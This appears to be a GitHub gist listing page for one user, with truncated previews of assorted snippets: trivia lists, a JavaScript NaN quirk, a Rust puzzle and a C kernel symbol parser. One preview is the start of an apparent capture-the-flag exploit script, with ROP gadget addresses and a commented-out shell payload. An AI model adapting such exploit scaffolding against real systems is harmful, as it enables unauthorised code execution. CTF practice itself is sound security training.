Skip to content

Instantly share code, notes, and snippets.

@chop0
chop0 / page-edit-divison.markdown
Created November 14, 2018 05:00
Page edit divison
@chop0
chop0 / a.sh
Created February 8, 2020 22:23
echo hi
@chop0
chop0 / sad
Last active December 17, 2020 04:49
`@everyone```@everyone ||df||``````````````````````````` a
@chop0
chop0 / all animals available in bitmoji
Last active October 3, 2020 05:17
all the bitmoji animals
Bee
Cat
Coyote
Duck
Emu
Fly
Kangaroo
Koala
Panther
Platypus
@chop0
chop0 / lemon gallery.md
Created February 14, 2021 06:05
lemon gallery
@chop0
chop0 / exploit.py
Created February 14, 2021 06:30
exploit.py for citrus union
io = start()
zero_rsi = 0x400134
add_rsi = 0x400126
syscall = 0x400123
read = 0x40011c
# shellcode = asm(shellcraft.sh())
# payload = fit({
# 32: 0xdeadbeef,
# 'iaaa': [1, 2, 'Hello', 3]
@chop0
chop0 / odd.js
Last active June 27, 2021 00:37
function lemonthink() {
let buf = new ArrayBuffer(4);
let lemon = new Int32Array(buf);
let think = new Float32Array(buf);
lemon[0] = 0x7F800001; // A NaN that's not the normal JS NaN
think[0] = think[0]; // When interpreted, JS sees the (different to normal) NaN and replaces it with a normal NaN. Compiled JS doesn't modify the value.
return lemon[0];
}
console.log(lemonthink()); // 0x7fc00001, 2143289345
@chop0
chop0 / playground.rs
Created September 30, 2021 04:59 — forked from rust-play/playground.rs
Code shared from the Rust Playground
fn steps(mut a: i128, mut b: i128, mut c: i128, mut d: i128) -> u32 {
let mut i = 0;
while coeffs != (0, 0, 0, 0) {
(a, b, c, d) = ((a - b).abs(), (b - c).abs(), (c - d).abs(), (d - a).abs());
i += 1;
}
i
}
fn main() {
@chop0
chop0 / gist:934c8799d22d8b3d06711c27f183cbbd
Created December 17, 2021 02:02
grepping through v8 for comments that have "anyway" in them
zone/zone-list.h: // zone-allocated objects for which destructors are not called anyway, so
ast/scopes.cc: // scope and we terminate the iteration there anyway.
ast/scopes.cc: // in the outer scope anyway, because if a binding exists in an outer
ast/scopes.h: // Sloppy eval in script scopes can only introduce global variables anyway,
ast/scopes.h: // isn't extendable anyway, or
heap/memory-chunk.cc: // Not actually used but initialize anyway for predictability.
heap/cppgc/heap-page.cc: // for the first header which will anyways serve as header again.
heap/heap.cc: // This is an optimization. The sweeper will release black fillers anyway.
codegen/x64/assembler-x64.cc: // (larger) kCodeAlignment anyways.
codegen/ia32/assembler-ia32.cc: // (larger) kCodeAlignment anyways.
@chop0
chop0 / parse.c
Last active January 10, 2022 18:07
Kernel symbol parser
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "parse.h"
#define BUFSIZE 256
FILE* open_map() {
FILE* ver = fopen("/proc/version", "r");